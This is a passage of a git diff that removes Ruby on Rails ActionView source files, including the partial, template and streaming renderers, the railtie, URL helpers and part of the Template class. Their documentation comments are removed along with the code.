-        prefixes = prefixes ? prefixes.map { |p| "#{p}/#{parts}" } : [parts]
-
-        return name, prefixes
-      end
-    end
-
-    include Accessors
-    include DetailsCache
-    include ViewPaths
-
-    def initialize(view_paths, details = {}, prefixes = [])
-      @details, @details_key = {}, nil
-      @skip_default_locale = false
-      @cache = true
-      @prefixes = prefixes
-      @rendered_format = nil
-
-      self.view_paths = view_paths
-      initialize_details(details)
-    end
-
-    # Override formats= to expand ["*/*"] values and automatically
-    # add :html as fallback to :js.
-    def formats=(values)
-      if values
-        values.concat(default_formats) if values.delete "*/*"
-        if values == [:js]
-          values << :html
-          @html_fallback_for_js = true
-        end
-      end
-      super(values)
-    end
-
-    # Do not use the default locale on template lookup.
-    def skip_default_locale!
-      @skip_default_locale = true
-      self.locale = nil
-    end
-
-    # Override locale to return a symbol instead of array.
-    def locale
-      @details[:locale].first
-    end
-
-    # Overload locale= to also set the I18n.locale. If the current I18n.config object responds
-    # to original_config, it means that it's has a copy of the original I18n configuration and it's
-    # acting as proxy, which we need to skip.
-    def locale=(value)
-      if value
-        config = I18n.config.respond_to?(:original_config) ? I18n.config.original_config : I18n.config
-        config.locale = value
-      end
-
-      super(@skip_default_locale ? I18n.locale : default_locale)
-    end
-
-    # A method which only uses the first format in the formats array for layout lookup.
-    def with_layout_format
-      if formats.size == 1
-        yield
-      else
-        old_formats = formats
-        _set_detail(:formats, formats[0,1])
-
-        begin
-          yield
-        ensure
-          _set_detail(:formats, old_formats)
-        end
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/railtie.rb b/actionpack/lib/action_view/railtie.rb
deleted file mode 100644
index 66b05d3..0000000
--- a/actionpack/lib/action_view/railtie.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-require "action_view"
-require "rails"
-
-module ActionView
-  # = Action View Railtie
-  class Railtie < Rails::Railtie # :nodoc:
-    config.action_view = ActiveSupport::OrderedOptions.new
-    config.action_view.embed_authenticity_token_in_remote_forms = false
-
-    config.eager_load_namespaces << ActionView
-
-    initializer "action_view.embed_authenticity_token_in_remote_forms" do |app|
-      ActiveSupport.on_load(:action_view) do
-        ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms =
-          app.config.action_view.delete(:embed_authenticity_token_in_remote_forms)
-      end
-    end
-
-    initializer "action_view.logger" do
-      ActiveSupport.on_load(:action_view) { self.logger ||= Rails.logger }
-    end
-
-    initializer "action_view.set_configs" do |app|
-      ActiveSupport.on_load(:action_view) do
-        app.config.action_view.each do |k,v|
-          send "#{k}=", v
-        end
-      end
-    end
-
-    initializer "action_view.caching" do |app|
-      ActiveSupport.on_load(:action_view) do
-        if app.config.action_view.cache_template_loading.nil?
-          ActionView::Resolver.caching = app.config.cache_classes
-        end
-      end
-    end
-
-    rake_tasks do
-      load "action_view/tasks/dependencies.rake"
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/renderer/partial_renderer.rb b/actionpack/lib/action_view/renderer/partial_renderer.rb
deleted file mode 100644
index 8210262..0000000
--- a/actionpack/lib/action_view/renderer/partial_renderer.rb
+++ /dev/null
@@ -1,492 +0,0 @@
-require 'thread_safe'
-
-module ActionView
-  # = Action View Partials
-  #
-  # There's also a convenience method for rendering sub templates within the current controller that depends on a
-  # single object (we call this kind of sub templates for partials). It relies on the fact that partials should
-  # follow the naming convention of being prefixed with an underscore -- as to separate them from regular
-  # templates that could be rendered on their own.
-  #
-  # In a template for Advertiser#account:
-  #
-  #  <%= render partial: "account" %>
-  #
-  # This would render "advertiser/_account.html.erb".
-  #
-  # In another template for Advertiser#buy, we could have:
-  #
-  #   <%= render partial: "account", locals: { account: @buyer } %>
-  #
-  #   <% @advertisements.each do |ad| %>
-  #     <%= render partial: "ad", locals: { ad: ad } %>
-  #   <% end %>
-  #
-  # This would first render "advertiser/_account.html.erb" with @buyer passed in as the local variable +account+, then
-  # render "advertiser/_ad.html.erb" and pass the local variable +ad+ to the template for display.
-  #
-  # == The :as and :object options
-  #
-  # By default <tt>ActionView::PartialRenderer</tt> doesn't have any local variables.
-  # The <tt>:object</tt> option can be used to pass an object to the partial. For instance:
-  #
-  #   <%= render partial: "account", object: @buyer %>
-  #
-  # would provide the <tt>@buyer</tt> object to the partial, available under the local variable +account+ and is
-  # equivalent to:
-  #
-  #   <%= render partial: "account", locals: { account: @buyer } %>
-  #
-  # With the <tt>:as</tt> option we can specify a different name for said local variable. For example, if we
-  # wanted it to be +user+ instead of +account+ we'd do:
-  #
-  #   <%= render partial: "account", object: @buyer, as: 'user' %>
-  #
-  # This is equivalent to
-  #
-  #   <%= render partial: "account", locals: { user: @buyer } %>
-  #
-  # == Rendering a collection of partials
-  #
-  # The example of partial use describes a familiar pattern where a template needs to iterate over an array and
-  # render a sub template for each of the elements. This pattern has been implemented as a single method that
-  # accepts an array and renders a partial by the same name as the elements contained within. So the three-lined
-  # example in "Using partials" can be rewritten with a single line:
-  #
-  #   <%= render partial: "ad", collection: @advertisements %>
-  #
-  # This will render "advertiser/_ad.html.erb" and pass the local variable +ad+ to the template for display. An
-  # iteration counter will automatically be made available to the template with a name of the form
-  # +partial_name_counter+. In the case of the example above, the template would be fed +ad_counter+.
-  #
-  # The <tt>:as</tt> option may be used when rendering partials.
-  #
-  # You can specify a partial to be rendered between elements via the <tt>:spacer_template</tt> option.
-  # The following example will render <tt>advertiser/_ad_divider.html.erb</tt> between each ad partial:
-  #
-  #   <%= render partial: "ad", collection: @advertisements, spacer_template: "ad_divider" %>
-  #
-  # If the given <tt>:collection</tt> is nil or empty, <tt>render</tt> will return nil. This will allow you
-  # to specify a text which will displayed instead by using this form:
-  #
-  #   <%= render(partial: "ad", collection: @advertisements) || "There's no ad to be displayed" %>
-  #
-  # NOTE: Due to backwards compatibility concerns, the collection can't be one of hashes. Normally you'd also
-  # just keep domain objects, like Active Records, in there.
-  #
-  # == Rendering shared partials
-  #
-  # Two controllers can share a set of partials and render them like this:
-  #
-  #   <%= render partial: "advertisement/ad", locals: { ad: @advertisement } %>
-  #
-  # This will render the partial "advertisement/_ad.html.erb" regardless of which controller this is being called from.
-  #
-  # == Rendering objects that respond to `to_partial_path`
-  #
-  # Instead of explicitly naming the location of a partial, you can also let PartialRenderer do the work
-  # and pick the proper path by checking `to_partial_path` method.
-  #
-  #  # @account.to_partial_path returns 'accounts/account', so it can be used to replace:
-  #  # <%= render partial: "accounts/account", locals: { account: @account} %>
-  #  <%= render partial: @account %>
-  #
-  #  # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
-  #  # that's why we can replace:
-  #  # <%= render partial: "posts/post", collection: @posts %>
-  #  <%= render partial: @posts %>
-  #
-  # == Rendering the default case
-  #
-  # If you're not going to be using any of the options like collections or layouts, you can also use the short-hand
-  # defaults of render to render partials. Examples:
-  #
-  #  # Instead of <%= render partial: "account" %>
-  #  <%= render "account" %>
-  #
-  #  # Instead of <%= render partial: "account", locals: { account: @buyer } %>
-  #  <%= render "account", account: @buyer %>
-  #
-  #  # @account.to_partial_path returns 'accounts/account', so it can be used to replace:
-  #  # <%= render partial: "accounts/account", locals: { account: @account} %>
-  #  <%= render @account %>
-  #
-  #  # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
-  #  # that's why we can replace:
-  #  # <%= render partial: "posts/post", collection: @posts %>
-  #  <%= render @posts %>
-  #
-  # == Rendering partials with layouts
-  #
-  # Partials can have their own layouts applied to them. These layouts are different than the ones that are
-  # specified globally for the entire action, but they work in a similar fashion. Imagine a list with two types
-  # of users:
-  #
-  #   <%# app/views/users/index.html.erb &>
-  #   Here's the administrator:
-  #   <%= render partial: "user", layout: "administrator", locals: { user: administrator } %>
-  #
-  #   Here's the editor:
-  #   <%= render partial: "user", layout: "editor", locals: { user: editor } %>
-  #
-  #   <%# app/views/users/_user.html.erb &>
-  #   Name: <%= user.name %>
-  #
-  #   <%# app/views/users/_administrator.html.erb &>
-  #   <div id="administrator">
-  #     Budget: $<%= user.budget %>
-  #     <%= yield %>
-  #   </div>
-  #
-  #   <%# app/views/users/_editor.html.erb &>
-  #   <div id="editor">
-  #     Deadline: <%= user.deadline %>
-  #     <%= yield %>
-  #   </div>
-  #
-  # ...this will return:
-  #
-  #   Here's the administrator:
-  #   <div id="administrator">
-  #     Budget: $<%= user.budget %>
-  #     Name: <%= user.name %>
-  #   </div>
-  #
-  #   Here's the editor:
-  #   <div id="editor">
-  #     Deadline: <%= user.deadline %>
-  #     Name: <%= user.name %>
-  #   </div>
-  #
-  # If a collection is given, the layout will be rendered once for each item in
-  # the collection. Just think these two snippets have the same output:
-  #
-  #   <%# app/views/users/_user.html.erb %>
-  #   Name: <%= user.name %>
-  #
-  #   <%# app/views/users/index.html.erb %>
-  #   <%# This does not use layouts %>
-  #   <ul>
-  #     <% users.each do |user| -%>
-  #       <li>
-  #         <%= render partial: "user", locals: { user: user } %>
-  #       </li>
-  #     <% end -%>
-  #   </ul>
-  #
-  #   <%# app/views/users/_li_layout.html.erb %>
-  #   <li>
-  #     <%= yield %>
-  #   </li>
-  #
-  #   <%# app/views/users/index.html.erb %>
-  #   <ul>
-  #     <%= render partial: "user", layout: "li_layout", collection: users %>
-  #   </ul>
-  #
-  # Given two users whose names are Alice and Bob, these snippets return:
-  #
-  #   <ul>
-  #     <li>
-  #       Name: Alice
-  #     </li>
-  #     <li>
-  #       Name: Bob
-  #     </li>
-  #   </ul>
-  #
-  # The current object being rendered, as well as the object_counter, will be
-  # available as local variables inside the layout template under the same names
-  # as available in the partial.
-  #
-  # You can also apply a layout to a block within any template:
-  #
-  #   <%# app/views/users/_chief.html.erb &>
-  #   <%= render(layout: "administrator", locals: { user: chief }) do %>
-  #     Title: <%= chief.title %>
-  #   <% end %>
-  #
-  # ...this will return:
-  #
-  #   <div id="administrator">
-  #     Budget: $<%= user.budget %>
-  #     Title: <%= chief.name %>
-  #   </div>
-  #
-  # As you can see, the <tt>:locals</tt> hash is shared between both the partial and its layout.
-  #
-  # If you pass arguments to "yield" then this will be passed to the block. One way to use this is to pass
-  # an array to layout and treat it as an enumerable.
-  #
-  #   <%# app/views/users/_user.html.erb &>
-  #   <div class="user">
-  #     Budget: $<%= user.budget %>
-  #     <%= yield user %>
-  #   </div>
-  #
-  #   <%# app/views/users/index.html.erb &>
-  #   <%= render layout: @users do |user| %>
-  #     Title: <%= user.title %>
-  #   <% end %>
-  #
-  # This will render the layout for each user and yield to the block, passing the user, each time.
-  #
-  # You can also yield multiple times in one layout and use block arguments to differentiate the sections.
-  #
-  #   <%# app/views/users/_user.html.erb &>
-  #   <div class="user">
-  #     <%= yield user, :header %>
-  #     Budget: $<%= user.budget %>
-  #     <%= yield user, :footer %>
-  #   </div>
-  #
-  #   <%# app/views/users/index.html.erb &>
-  #   <%= render layout: @users do |user, section| %>
-  #     <%- case section when :header -%>
-  #       Title: <%= user.title %>
-  #     <%- when :footer -%>
-  #       Deadline: <%= user.deadline %>
-  #     <%- end -%>
-  #   <% end %>
-  class PartialRenderer < AbstractRenderer
-    PREFIXED_PARTIAL_NAMES = ThreadSafe::Cache.new do |h, k|
-      h[k] = ThreadSafe::Cache.new
-    end
-
-    def initialize(*)
-      super
-      @context_prefix = @lookup_context.prefixes.first
-    end
-
-    def render(context, options, block)
-      setup(context, options, block)
-      identifier = (@template = find_partial) ? @template.identifier : @path
-
-      @lookup_context.rendered_format ||= begin
-        if @template && @template.formats.present?
-          @template.formats.first
-        else
-          formats.first
-        end
-      end
-
-      if @collection
-        instrument(:collection, :identifier => identifier || "collection", :count => @collection.size) do
-          render_collection
-        end
-      else
-        instrument(:partial, :identifier => identifier) do
-          render_partial
-        end
-      end
-    end
-
-    def render_collection
-      return nil if @collection.blank?
-
-      if @options.key?(:spacer_template)
-        spacer = find_template(@options[:spacer_template], @locals.keys).render(@view, @locals)
-      end
-
-      result = @template ? collection_with_template : collection_without_template
-      result.join(spacer).html_safe
-    end
-
-    def render_partial
-      view, locals, block = @view, @locals, @block
-      object, as = @object, @variable
-
-      if !block && (layout = @options[:layout])
-        layout = find_template(layout.to_s, @template_keys)
-      end
-
-      object ||= locals[as]
-      locals[as] = object
-
-      content = @template.render(view, locals) do |*name|
-        view._layout_for(*name, &block)
-      end
-
-      content = layout.render(view, locals){ content } if layout
-      content
-    end
-
-    private
-
-    # Sets up instance variables needed for rendering a partial. This method
-    # finds the options and details and extracts them. The method also contains
-    # logic that handles the type of object passed in as the partial.
-    #
-    # If +options[:partial]+ is a string, then the + at path+ instance variable is
-    # set to that string. Otherwise, the +options[:partial]+ object must
-    # respond to +to_partial_path+ in order to setup the path.
-    def setup(context, options, block)
-      @view   = context
-      partial = options[:partial]
-
-      @options = options
-      @locals  = options[:locals] || {}
-      @block   = block
-      @details = extract_details(options)
-
-      prepend_formats(options[:formats])
-
-      if String === partial
-        @object     = options[:object]
-        @path       = partial
-        @collection = collection
-      else
-        @object = partial
-
-        if @collection = collection_from_object || collection
-          paths = @collection_data = @collection.map { |o| partial_path(o) }
-          @path = paths.uniq.size == 1 ? paths.first : nil
-        else
-          @path = partial_path
-        end
-      end
-
-      if as = options[:as]
-        raise_invalid_identifier(as) unless as.to_s =~ /\A[a-z_]\w*\z/
-        as = as.to_sym
-      end
-
-      if @path
-        @variable, @variable_counter = retrieve_variable(@path, as)
-        @template_keys = retrieve_template_keys
-      else
-        paths.map! { |path| retrieve_variable(path, as).unshift(path) }
-      end
-
-      self
-    end
-
-    def collection
-      if @options.key?(:collection)
-        collection = @options[:collection]
-        collection.respond_to?(:to_ary) ? collection.to_ary : []
-      end
-    end
-
-    def collection_from_object
-      @object.to_ary if @object.respond_to?(:to_ary)
-    end
-
-    def find_partial
-      if path = @path
-        find_template(path, @template_keys)
-      end
-    end
-
-    def find_template(path, locals)
-      prefixes = path.include?(?/) ? [] : @lookup_context.prefixes
-      @lookup_context.find_template(path, prefixes, true, locals, @details)
-    end
-
-    def collection_with_template
-      view, locals, template = @view, @locals, @template
-      as, counter = @variable, @variable_counter
-
-      if layout = @options[:layout]
-        layout = find_template(layout, @template_keys)
-      end
-
-      index = -1
-      @collection.map do |object|
-        locals[as]      = object
-        locals[counter] = (index += 1)
-
-        content = template.render(view, locals)
-        content = layout.render(view, locals) { content } if layout
-        content
-      end
-    end
-
-    def collection_without_template
-      view, locals, collection_data = @view, @locals, @collection_data
-      cache = {}
-      keys  = @locals.keys
-
-      index = -1
-      @collection.map do |object|
-        index += 1
-        path, as, counter = collection_data[index]
-
-        locals[as]      = object
-        locals[counter] = index
-
-        template = (cache[path] ||= find_template(path, keys + [as, counter]))
-        template.render(view, locals)
-      end
-    end
-
-    # Obtains the path to where the object's partial is located. If the object
-    # responds to +to_partial_path+, then +to_partial_path+ will be called and
-    # will provide the path. If the object does not respond to +to_partial_path+,
-    # then an +ArgumentError+ is raised.
-    #
-    # If +prefix_partial_path_with_controller_namespace+ is true, then this
-    # method will prefix the partial paths with a namespace.
-    def partial_path(object = @object)
-      object = object.to_model if object.respond_to?(:to_model)
-
-      path = if object.respond_to?(:to_partial_path)
-        object.to_partial_path
-      else
-        raise ArgumentError.new("'#{object.inspect}' is not an ActiveModel-compatible object. It must implement :to_partial_path.")
-      end
-
-      if @view.prefix_partial_path_with_controller_namespace
-        prefixed_partial_names[path] ||= merge_prefix_into_object_path(@context_prefix, path.dup)
-      else
-        path
-      end
-    end
-
-    def prefixed_partial_names
-      @prefixed_partial_names ||= PREFIXED_PARTIAL_NAMES[@context_prefix]
-    end
-
-    def merge_prefix_into_object_path(prefix, object_path)
-      if prefix.include?(?/) && object_path.include?(?/)
-        prefixes = []
-        prefix_array = File.dirname(prefix).split('/')
-        object_path_array = object_path.split('/')[0..-3] # skip model dir & partial
-
-        prefix_array.each_with_index do |dir, index|
-          break if dir == object_path_array[index]
-          prefixes << dir
-        end
-
-        (prefixes << object_path).join("/")
-      else
-        object_path
-      end
-    end
-
-    def retrieve_template_keys
-      keys = @locals.keys
-      keys << @variable         if @object || @collection
-      keys << @variable_counter if @collection
-      keys
-    end
-
-    def retrieve_variable(path, as)
-      variable = as || begin
-        base = path[-1] == "/" ? "" : File.basename(path)
-        raise_invalid_identifier(path) unless base =~ /\A_?([a-z]\w*)(\.\w+)*\z/
-        $1.to_sym
-      end
-      variable_counter = :"#{variable}_counter" if @collection
-      [variable, variable_counter]
-    end
-
-    IDENTIFIER_ERROR_MESSAGE = "The partial name (%s) is not a valid Ruby identifier; " +
-                               "make sure your partial name starts with a lowercase letter or underscore, " +
-                               "and is followed by any combination of letters, numbers and underscores."
-
-    def raise_invalid_identifier(path)
-      raise ArgumentError.new(IDENTIFIER_ERROR_MESSAGE % (path))
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/renderer/streaming_template_renderer.rb b/actionpack/lib/action_view/renderer/streaming_template_renderer.rb
deleted file mode 100644
index 9cf6eb0..0000000
--- a/actionpack/lib/action_view/renderer/streaming_template_renderer.rb
+++ /dev/null
@@ -1,103 +0,0 @@
-require 'fiber'
-
-module ActionView
-  # == TODO
-  #
-  # * Support streaming from child templates, partials and so on.
-  # * Integrate exceptions with exceptron
-  # * Rack::Cache needs to support streaming bodies
-  class StreamingTemplateRenderer < TemplateRenderer #:nodoc:
-    # A valid Rack::Body (i.e. it responds to each).
-    # It is initialized with a block that, when called, starts
-    # rendering the template.
-    class Body #:nodoc:
-      def initialize(&start)
-        @start = start
-      end
-
-      def each(&block)
-        begin
-          @start.call(block)
-        rescue Exception => exception
-          log_error(exception)
-          block.call ActionView::Base.streaming_completion_on_exception
-        end
-        self
-      end
-
-      private
-
-      # This is the same logging logic as in ShowExceptions middleware.
-      # TODO Once "exceptron" is in, refactor this piece to simply re-use exceptron.
-      def log_error(exception) #:nodoc:
-        logger = ActionView::Base.logger
-        return unless logger
-
-        message = "\n#{exception.class} (#{exception.message}):\n"
-        message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
-        message << "  " << exception.backtrace.join("\n  ")
-        logger.fatal("#{message}\n\n")
-      end
-    end
-
-    # For streaming, instead of rendering a given a template, we return a Body
-    # object that responds to each. This object is initialized with a block
-    # that knows how to render the template.
-    def render_template(template, layout_name = nil, locals = {}) #:nodoc:
-      return [super] unless layout_name && template.supports_streaming?
-
-      locals ||= {}
-      layout   = layout_name && find_layout(layout_name, locals.keys)
-
-      Body.new do |buffer|
-        delayed_render(buffer, template, layout, @view, locals)
-      end
-    end
-
-    private
-
-    def delayed_render(buffer, template, layout, view, locals)
-      # Wrap the given buffer in the StreamingBuffer and pass it to the
-      # underlying template handler. Now, everytime something is concatenated
-      # to the buffer, it is not appended to an array, but streamed straight
-      # to the client.
-      output  = ActionView::StreamingBuffer.new(buffer)
-      yielder = lambda { |*name| view._layout_for(*name) }
-
-      instrument(:template, :identifier => template.identifier, :layout => layout.try(:virtual_path)) do
-        fiber = Fiber.new do
-          if layout
-            layout.render(view, locals, output, &yielder)
-          else
-            # If you don't have a layout, just render the thing
-            # and concatenate the final result. This is the same
-            # as a layout with just <%= yield %>
-            output.safe_concat view._layout_for
-          end
-        end
-
-        # Set the view flow to support streaming. It will be aware
-        # when to stop rendering the layout because it needs to search
-        # something in the template and vice-versa.
-        view.view_flow = StreamingFlow.new(view, fiber)
-
-        # Yo! Start the fiber!
-        fiber.resume
-
-        # If the fiber is still alive, it means we need something
-        # from the template, so start rendering it. If not, it means
-        # the layout exited without requiring anything from the template.
-        if fiber.alive?
-          content = template.render(view, locals, &yielder)
-
-          # Once rendering the template is done, sets its content in the :layout key.
-          view.view_flow.set(:layout, content)
-
-          # In case the layout continues yielding, we need to resume
-          # the fiber until all yields are handled.
-          fiber.resume while fiber.alive?
-        end
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/renderer/template_renderer.rb b/actionpack/lib/action_view/renderer/template_renderer.rb
deleted file mode 100644
index 668831d..0000000
--- a/actionpack/lib/action_view/renderer/template_renderer.rb
+++ /dev/null
@@ -1,96 +0,0 @@
-require 'active_support/core_ext/object/try'
-
-module ActionView
-  class TemplateRenderer < AbstractRenderer #:nodoc:
-    def render(context, options)
-      @view    = context
-      @details = extract_details(options)
-      template = determine_template(options)
-      context  = @lookup_context
-
-      prepend_formats(template.formats)
-
-      unless context.rendered_format
-        context.rendered_format = template.formats.first || formats.first
-      end
-
-      render_template(template, options[:layout], options[:locals])
-    end
-
-    # Determine the template to be rendered using the given options.
-    def determine_template(options) #:nodoc:
-      keys = options.fetch(:locals, {}).keys
-
-      if options.key?(:text)
-        Template::Text.new(options[:text], formats.first)
-      elsif options.key?(:file)
-        with_fallbacks { find_template(options[:file], nil, false, keys, @details) }
-      elsif options.key?(:inline)
-        handler = Template.handler_for_extension(options[:type] || "erb")
-        Template.new(options[:inline], "inline template", handler, :locals => keys)
-      elsif options.key?(:template)
-        if options[:template].respond_to?(:render)
-          options[:template]
-        else
-          find_template(options[:template], options[:prefixes], false, keys, @details)
-        end
-      else
-        raise ArgumentError, "You invoked render but did not give any of :partial, :template, :inline, :file or :text option."
-      end
-    end
-
-    # Renders the given template. A string representing the layout can be
-    # supplied as well.
-    def render_template(template, layout_name = nil, locals = nil) #:nodoc:
-      view, locals = @view, locals || {}
-
-      render_with_layout(layout_name, locals) do |layout|
-        instrument(:template, :identifier => template.identifier, :layout => layout.try(:virtual_path)) do
-          template.render(view, locals) { |*name| view._layout_for(*name) }
-        end
-      end
-    end
-
-    def render_with_layout(path, locals) #:nodoc:
-      layout  = path && find_layout(path, locals.keys)
-      content = yield(layout)
-
-      if layout
-        view = @view
-        view.view_flow.set(:layout, content)
-        layout.render(view, locals){ |*name| view._layout_for(*name) }
-      else
-        content
-      end
-    end
-
-    # This is the method which actually finds the layout using details in the lookup
-    # context object. If no layout is found, it checks if at least a layout with
-    # the given name exists across all details before raising the error.
-    def find_layout(layout, keys)
-      with_layout_format { resolve_layout(layout, keys) }
-    end
-
-    def resolve_layout(layout, keys)
-      case layout
-      when String
-        begin
-          if layout =~ /^\//
-            with_fallbacks { find_template(layout, nil, false, keys, @details) }
-          else
-            find_template(layout, nil, false, keys, @details)
-          end
-        rescue ActionView::MissingTemplate
-          all_details = @details.merge(:formats => @lookup_context.default_formats)
-          raise unless template_exists?(layout, nil, false, keys, all_details)
-        end
-      when Proc
-        resolve_layout(layout.call, keys)
-      when FalseClass
-        nil
-      else
-        layout
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/routing_url_for.rb b/actionpack/lib/action_view/routing_url_for.rb
deleted file mode 100644
index f10e7e8..0000000
--- a/actionpack/lib/action_view/routing_url_for.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-module ActionView
-  module RoutingUrlFor
-
-    # Returns the URL for the set of +options+ provided. This takes the
-    # same options as +url_for+ in Action Controller (see the
-    # documentation for <tt>ActionController::Base#url_for</tt>). Note that by default
-    # <tt>:only_path</tt> is <tt>true</tt> so you'll get the relative "/controller/action"
-    # instead of the fully qualified URL like "http://example.com/controller/action".
-    #
-    # ==== Options
-    # * <tt>:anchor</tt> - Specifies the anchor name to be appended to the path.
-    # * <tt>:only_path</tt> - If true, returns the relative URL (omitting the protocol, host name, and port) (<tt>true</tt> by default unless <tt>:host</tt> is specified).
-    # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2005/". Note that this
-    #   is currently not recommended since it breaks caching.
-    # * <tt>:host</tt> - Overrides the default (current) host if provided.
-    # * <tt>:protocol</tt> - Overrides the default (current) protocol if provided.
-    # * <tt>:user</tt> - Inline HTTP authentication (only plucked out if <tt>:password</tt> is also present).
-    # * <tt>:password</tt> - Inline HTTP authentication (only plucked out if <tt>:user</tt> is also present).
-    #
-    # ==== Relying on named routes
-    #
-    # Passing a record (like an Active Record) instead of a hash as the options parameter will
-    # trigger the named route for that record. The lookup will happen on the name of the class. So passing a
-    # Workshop object will attempt to use the +workshop_path+ route. If you have a nested route, such as
-    # +admin_workshop_path+ you'll have to call that explicitly (it's impossible for +url_for+ to guess that route).
-    #
-    # ==== Implicit Controller Namespacing
-    #
-    # Controllers passed in using the +:controller+ option will retain their namespace unless it is an absolute one.
-    #
-    # ==== Examples
-    #   <%= url_for(action: 'index') %>
-    #   # => /blog/
-    #
-    #   <%= url_for(action: 'find', controller: 'books') %>
-    #   # => /books/find
-    #
-    #   <%= url_for(action: 'login', controller: 'members', only_path: false, protocol: 'https') %>
-    #   # => https://www.example.com/members/login/
-    #
-    #   <%= url_for(action: 'play', anchor: 'player') %>
-    #   # => /messages/play/#player
-    #
-    #   <%= url_for(action: 'jump', anchor: 'tax&ship') %>
-    #   # => /testing/jump/#tax&ship
-    #
-    #   <%= url_for(Workshop.new) %>
-    #   # relies on Workshop answering a persisted? call (and in this case returning false)
-    #   # => /workshops
-    #
-    #   <%= url_for(@workshop) %>
-    #   # calls @workshop.to_param which by default returns the id
-    #   # => /workshops/5
-    #
-    #   # to_param can be re-defined in a model to provide different URL names:
-    #   # => /workshops/1-workshop-name
-    #
-    #   <%= url_for("http://www.example.com") %>
-    #   # => http://www.example.com
-    #
-    #   <%= url_for(:back) %>
-    #   # if request.env["HTTP_REFERER"] is set to "http://www.example.com"
-    #   # => http://www.example.com
-    #
-    #   <%= url_for(:back) %>
-    #   # if request.env["HTTP_REFERER"] is not set or is blank
-    #   # => javascript:history.back()
-    #
-    #   <%= url_for(action: 'index', controller: 'users') %>
-    #   # Assuming an "admin" namespace
-    #   # => /admin/users
-    #
-    #   <%= url_for(action: 'index', controller: '/users') %>
-    #   # Specify absolute path with beginning slash
-    #   # => /users
-    def url_for(options = nil)
-      case options
-      when String
-        options
-      when nil, Hash
-        options ||= {}
-        options = { :only_path => options[:host].nil? }.merge!(options.symbolize_keys)
-        super
-      when :back
-        _back_url
-      else
-        polymorphic_path(options)
-      end
-    end
-
-    def url_options #:nodoc:
-      return super unless controller.respond_to?(:url_options)
-      controller.url_options
-    end
-
-    def _routes_context #:nodoc:
-      controller
-    end
-    protected :_routes_context
-
-    def optimize_routes_generation? #:nodoc:
-      controller.respond_to?(:optimize_routes_generation?, true) ?
-        controller.optimize_routes_generation? : super
-    end
-    protected :optimize_routes_generation?
-  end
-end
diff --git a/actionpack/lib/action_view/template.rb b/actionpack/lib/action_view/template.rb
deleted file mode 100644
index 946db1d..0000000
--- a/actionpack/lib/action_view/template.rb
+++ /dev/null
@@ -1,339 +0,0 @@
-require 'active_support/core_ext/object/try'
-require 'active_support/core_ext/kernel/singleton_class'
-require 'thread'
-
-module ActionView
-  # = Action View Template
-  class Template
-    extend ActiveSupport::Autoload
-
-    # === Encodings in ActionView::Template
-    #
-    # ActionView::Template is one of a few sources of potential
-    # encoding issues in Rails. This is because the source for
-    # templates are usually read from disk, and Ruby (like most
-    # encoding-aware programming languages) assumes that the
-    # String retrieved through File IO is encoded in the
-    # <tt>default_external</tt> encoding. In Rails, the default
-    # <tt>default_external</tt> encoding is UTF-8.
-    #
-    # As a result, if a user saves their template as ISO-8859-1
-    # (for instance, using a non-Unicode-aware text editor),
-    # and uses characters outside of the ASCII range, their
-    # users will see diamonds with question marks in them in
-    # the browser.
-    #
-    # For the rest of this documentation, when we say "UTF-8",
-    # we mean "UTF-8 or whatever the default_internal encoding
-    # is set to". By default, it will be UTF-8.
-    #
-    # To mitigate this problem, we use a few strategies:
-    # 1. If the source is not valid UTF-8, we raise an exception
-    #    when the template is compiled to alert the user
-    #    to the problem.
-    # 2. The user can specify the encoding using Ruby-style
-    #    encoding comments in any template engine. If such
-    #    a comment is supplied, Rails will apply that encoding
-    #    to the resulting compiled source returned by the
-    #    template handler.
-    # 3. In all cases, we transcode the resulting String to
-    #    the UTF-8.
-    #
-    # This means that other parts of Rails can always assume
-    # that templates are encoded in UTF-8, even if the original
-    # source of the template was not UTF-8.
-    #
-    # From a user's perspective, the easiest thing to do is
-    # to save your templates as UTF-8. If you do this, you
-    # do not need to do anything else for things to "just work".
-    #
-    # === Instructions for template handlers
-    #
-    # The easiest thing for you to do is to simply ignore
-    # encodings. Rails will hand you the template source
-    # as the default_internal (generally UTF-8), raising
-    # an exception for the user before sending the template
-    # to you if it could not determine the original encoding.
-    #
-    # For the greatest simplicity, you can support only
-    # UTF-8 as the <tt>default_internal</tt>. This means
-    # that from the perspective of your handler, the
-    # entire pipeline is just UTF-8.
-    #
-    # === Advanced: Handlers with alternate metadata sources
-    #
-    # If you want to provide an alternate mechanism for
-    # specifying encodings (like ERB does via <%# encoding: ... %>),
-    # you may indicate that you will handle encodings yourself
-    # by implementing <tt>self.handles_encoding?</tt>
-    # on your handler.
-    #
-    # If you do, Rails will not try to encode the String
-    # into the default_internal, passing you the unaltered
-    # bytes tagged with the assumed encoding (from
-    # default_external).
-    #
-    # In this case, make sure you return a String from
-    # your handler encoded in the default_internal. Since
-    # you are handling out-of-band metadata, you are
-    # also responsible for alerting the user to any
-    # problems with converting the user's data to
-    # the <tt>default_internal</tt>.
-    #
-    # To do so, simply raise +WrongEncodingError+ as follows:
-    #
-    #     raise WrongEncodingError.new(
-    #       problematic_string,
-    #       expected_encoding
-    #     )
-
-    eager_autoload do
-      autoload :Error
-      autoload :Handlers
-      autoload :Text
-      autoload :Types
-    end
-
-    extend Template::Handlers
-
-    attr_accessor :locals, :formats, :virtual_path
-
-    attr_reader :source, :identifier, :handler, :original_encoding, :updated_at
-
-    # This finalizer is needed (and exactly with a proc inside another proc)
-    # otherwise templates leak in development.
-    Finalizer = proc do |method_name, mod|
-      proc do
-        mod.module_eval do
-          remove_possible_method method_name
-        end
-      end
-    end
-
-    def initialize(source, identifier, handler, details)
-      format = details[:format] || (handler.default_format if handler.respond_to?(:default_format))
-
-      @source            = source
-      @identifier        = identifier
-      @handler           = handler
-      @compiled          = false
-      @original_encoding = nil
-      @locals            = details[:locals] || []
